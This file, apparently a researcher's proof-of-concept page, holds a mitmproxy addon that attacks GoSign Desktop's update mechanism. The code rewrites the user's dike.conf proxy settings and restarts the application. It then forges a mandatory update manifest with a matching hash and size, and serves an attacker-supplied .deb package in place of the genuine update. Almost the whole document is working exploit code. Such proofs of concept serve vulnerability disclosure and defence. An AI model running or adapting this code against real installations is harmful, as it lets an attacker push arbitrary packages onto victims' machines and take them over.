README.md
Rendering markdown...
# GoSign Desktop MitM Proof of Concept
# Author: Pasquale 'sid' Fiorillo
# Date: 2025-10-03
import hashlib
import json
import os
import subprocess
import configparser
from pathlib import Path
from datetime import datetime
from mitmproxy import http, ctx
from mitmproxy.exceptions import AddonManagerError
# Fake update deb file
DEB = "gosigndesktop_6.6.6_amd64.deb"
# URls to intercept
URL_MANIFEST = "https://rinnovofirma.infocert.it/gosign/download/update"
URL_DEB = f"https://gosignupdates.infocert.it/gosign/standard/{DEB}"
# Proxy conf
PROXY_HOST = "127.0.0.1"
PROXY_PORT = "8666"
# Process Name
PROCESS_NAME = "GoSignDesktop"
PROCESS_PATH = "/usr/lib/gosigndesktop"
_deb_sha256 = None
_deb_size = None
def _proxify_target() -> bool:
# Get the user home directory
target_conf_path = None
home_dir = os.path.expanduser("~")
if home_dir is None or not os.path.isdir(home_dir):
ctx.log.error("Failed to get user home directory")
return False
target_conf_path = Path(home_dir) / ".gosign" / "dike.conf"
if target_conf_path is None or not target_conf_path.is_file():
ctx.log.error(f"Target conf file not found: {target_conf_path}")
return False
# Read the target conf file (it is a INI-like file)
# check if "[http_Proxy]" section exists. If exists, remove the section first
# then add the section with the new proxy settings:
# [http_Proxy]
# has_pwd=false
# ntlm_auth=false
# save_settings=false
# use=MANUALPROXY
# user=
# address={PROXY_HOST}
# port={PROXY_PORT}
# password=
# optBitmask=2
config = configparser.ConfigParser()
config.optionxform = str # make option names case-sensitive
try:
config.read(target_conf_path)
except Exception as e:
ctx.log.error(f"Failed to read target conf file: {e}")
return False
if config.has_section("http_Proxy"):
config.remove_section("http_Proxy")
config.add_section("http_Proxy")
config.set("http_Proxy", "has_pwd", "false")
config.set("http_Proxy", "ntlm_auth", "false")
config.set("http_Proxy", "save_settings", "false")
config.set("http_Proxy", "use", "MANUALPROXY")
config.set("http_Proxy", "user", "")
config.set("http_Proxy", "address", PROXY_HOST)
config.set("http_Proxy", "port", PROXY_PORT)
config.set("http_Proxy", "password", "")
config.set("http_Proxy", "optBitmask", "2")
try:
with target_conf_path.open("w") as configfile:
config.write(configfile)
configfile.close()
except Exception as e:
ctx.log.error(f"Failed to write target conf file: {e}")
return False
ctx.log.info(f"Set mitmproxy as upstream proxy in {target_conf_path}")
# if the PROCESS_NAME process is running, restart it
# so it reads the new proxy settings and check for updates
try:
import psutil
for proc in psutil.process_iter(["pid", "name"]):
if proc.info["name"] == PROCESS_NAME:
ctx.log.info(
f"Restarting process {PROCESS_NAME} (pid={proc.info['pid']}) to apply new proxy settings"
)
# Terminate the process
proc.terminate()
try:
proc.wait(timeout=5)
except psutil.TimeoutExpired:
proc.kill()
proc.wait()
break
# Start the process
PROCESS_FULL_PATH = os.path.join(PROCESS_PATH, PROCESS_NAME)
if not os.path.isfile(PROCESS_FULL_PATH):
ctx.log.error(f"Process executable not found: {PROCESS_FULL_PATH}")
return False
with open(os.devnull, 'wb') as devnull:
subprocess.Popen(
[PROCESS_FULL_PATH],
stdin=devnull,
stdout=devnull,
stderr=devnull,
close_fds=True
)
ctx.log.info(f"Process {PROCESS_NAME} restarted")
except Exception as e:
ctx.log.error(f"Failed to restart process {PROCESS_NAME}: {e}")
return False
return True
def _compute_deb_metadata():
# Compute sha256 and deb size
deb_path = Path(__file__).resolve().parent / DEB
try:
with deb_path.open("rb") as stream:
hasher = hashlib.sha256()
size = 0
for chunk in iter(lambda: stream.read(8192), b""):
hasher.update(chunk)
size += len(chunk)
except FileNotFoundError:
ctx.log.error(f"DEB file not found: {deb_path}")
return None, None
return hasher.hexdigest(), size
def load(l):
ctx.log.info("GoSign Desktop PoC addon loaded")
global _deb_sha256, _deb_size
_deb_sha256, _deb_size = _compute_deb_metadata()
if _deb_sha256 is None or _deb_size is None:
message = "Failed to load DEB metadata - shutting down mitmproxy"
ctx.log.error(message)
master = getattr(ctx, "master", None)
if master is not None:
master.shutdown()
raise AddonManagerError(message)
ctx.log.info(
"Loaded DEB metadata - sha256=%s size=%d bytes" % (_deb_sha256, _deb_size)
)
if _proxify_target() is False:
message = "Failed to set mitmproxy upstream proxy - shutting down mitmproxy"
ctx.log.error(message)
master = getattr(ctx, "master", None)
if master is not None:
master.shutdown()
raise AddonManagerError(message)
def response(flow: http.HTTPFlow) -> None:
# Intercept the URL_MANIFEST
if flow.request.method == "GET" and flow.request.pretty_url == URL_MANIFEST:
ctx.log.info(
f"Intercepted {flow.request.method} {flow.request.pretty_url} - Pwning the update manifest ..."
)
global _deb_sha256, _deb_size
if _deb_sha256 is None or _deb_size is None:
_deb_sha256, _deb_size = _compute_deb_metadata()
response_body = {
"control": {"probability": 100},
"linux": {
"6.6.6": {
"packages": {
"deb": {
"64": {
"url": f"https://gosignupdates.infocert.it/gosign/standard/{DEB}",
"sha256": _deb_sha256,
"size": _deb_size,
"releaseDate": datetime.today().strftime('%Y-%m-%d'),
}
}
},
"type": "MANDATORY",
}
},
}
body_bytes = json.dumps(response_body, indent=2).encode("utf-8")
headers = {
"Content-Type": "application/json",
"Content-Length": str(len(body_bytes)),
}
flow.response = http.Response.make(200, body_bytes, headers)
# Intercept the URL_DEB
if flow.request.method == "GET" and flow.request.pretty_url == URL_DEB:
ctx.log.info(
f"Intercepted {flow.request.method} {flow.request.pretty_url} - Pwning the update package ..."
)
deb_path = Path(__file__).resolve().parent / DEB
try:
with deb_path.open("rb") as stream:
body_bytes = stream.read()
except FileNotFoundError:
ctx.log.error(f"DEB file not found: {deb_path}")
flow.response = http.Response.make(
404,
b"",
{
"Content-Type": "text/plain",
"Content-Length": "0",
},
)
return
headers = {
"Content-Type": "application/vnd.debian.binary-package",
"Content-Length": str(len(body_bytes)),
}
flow.response = http.Response.make(200, body_bytes, headers)